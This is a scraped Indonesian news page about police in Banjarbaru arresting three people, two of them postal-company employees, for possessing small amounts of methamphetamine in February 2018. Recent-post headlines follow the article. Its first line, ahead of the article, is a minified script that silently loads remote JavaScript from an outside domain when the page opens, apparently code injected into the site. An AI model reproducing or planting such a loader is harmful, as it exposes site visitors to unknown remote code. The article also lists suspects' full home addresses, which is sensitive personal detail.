(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Dua Karyawan BUMN Ini Kedapatan Miliki Narkoba


BANJARBARU, Narkoba masih menjangkiti semua kalangan, teranyar Satuan Reskrim Narkoba Polres Banjarbaru menangkap 3 pelaku Narkoba. Ketiga pelaku yaitu MSA (29), AR (21) dan SF (30), ketiganya ditangkap di tempat terpisah.

Jajaran Sat Resnarkoba Polres Banjarbaru mengungkap kasus penyalahgunaan dan peredaran gelap narkotika golongan 1 jenis sabu-sabu.

Lokasi penangkapan pertama, MSA, warga Komplek Bumi Cahaya Bintang Permai Jalan Leo I Blok F No 10 RT 46 RW 08, Kelurahan Sungai Besar, dan AR, karyawan BUMN PT Pos Indonesia, warga Komplek Griya Indah I Blok B No 08 RT 004 RW 005 Kelurahan Guntung Paikat Kecamatan Banjarbaru Selatan Kota Banjarbaru.

Kedua pelaku ditangkap Kamis 22 Februari 2018 sekitar pukul 12.30 Wita di Komplek Bumi Cahaya Bintang Permai Jalan Leo I Blok F No 10 RT 46 RW 08, Kelurahan Sungai Besar Kecamatan Banjarbaru Selatan, Kota Banjarbaru.

Berdasarkan informasi masyarakat kepada anggota kepolisian menangkap MSA dan AZ sedang mengkonsumsi sabu-sabu. Dari tangan kedua pelaku, Sat Res Narkorba Polres Banjarbaru berhasil mendapatkan barang bukti berupa 1 paket sabu dengan berat kotor 0,11 gram dan berat bersih 0,04 gram.

Di lokasi terpisah, SF karyawan BUMN PT Pos Indonesia, warga Jalan Palam Komplek Lambung Mangkurat Regency RT 02 RW 01 Kelurahan Palam, Kecamatan Cempaka, Kamis (22/2) sekitar pukul 15.00 Wita diciduk di rumahnya sendiri.

SF kedapatan memiliki 2 plastik warna bening yang didalamnya terdapat sabu-sabu dengan berat kotor 0,19 gram dan berat bersih 0,002 gram, 1 pipet terbuat dari kaca yang didalamnya terdapat sisa sabu-sabu.

Kapolres Banjarbaru AKBP Kelana Jaya melalui Kasat Resnarkoba Polres Banjarbaru Iptu Zaenuri, Sabtu (23/2) membenarkan penangkapan tersebut.

“Lokasi penangkapan 3 pelaku narkoba itu terpisah, sudah kami amankan para tersangka dan semua barang bukti dan dibawa ke Polres Banjarbaru guna penyidikan lebih lanjut,” tutupnya. (rico)

Reporter: Rico
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Sempat Sengat Pelajar Madrasah, Sarang Tawon Dalam Kelas Dievakuasi Damkar HSU

KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More

1 jam ago

Peningkatan Kapasitas Anggota BPD, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai penting peranan… Read More

1 jam ago

Dua Raperda Disahkan, Ketua DPRD: Payung Hukum yang Jelas Bagi Cagar Budaya di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More

3 jam ago

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

6 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

7 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

8 jam ago

This website uses cookies.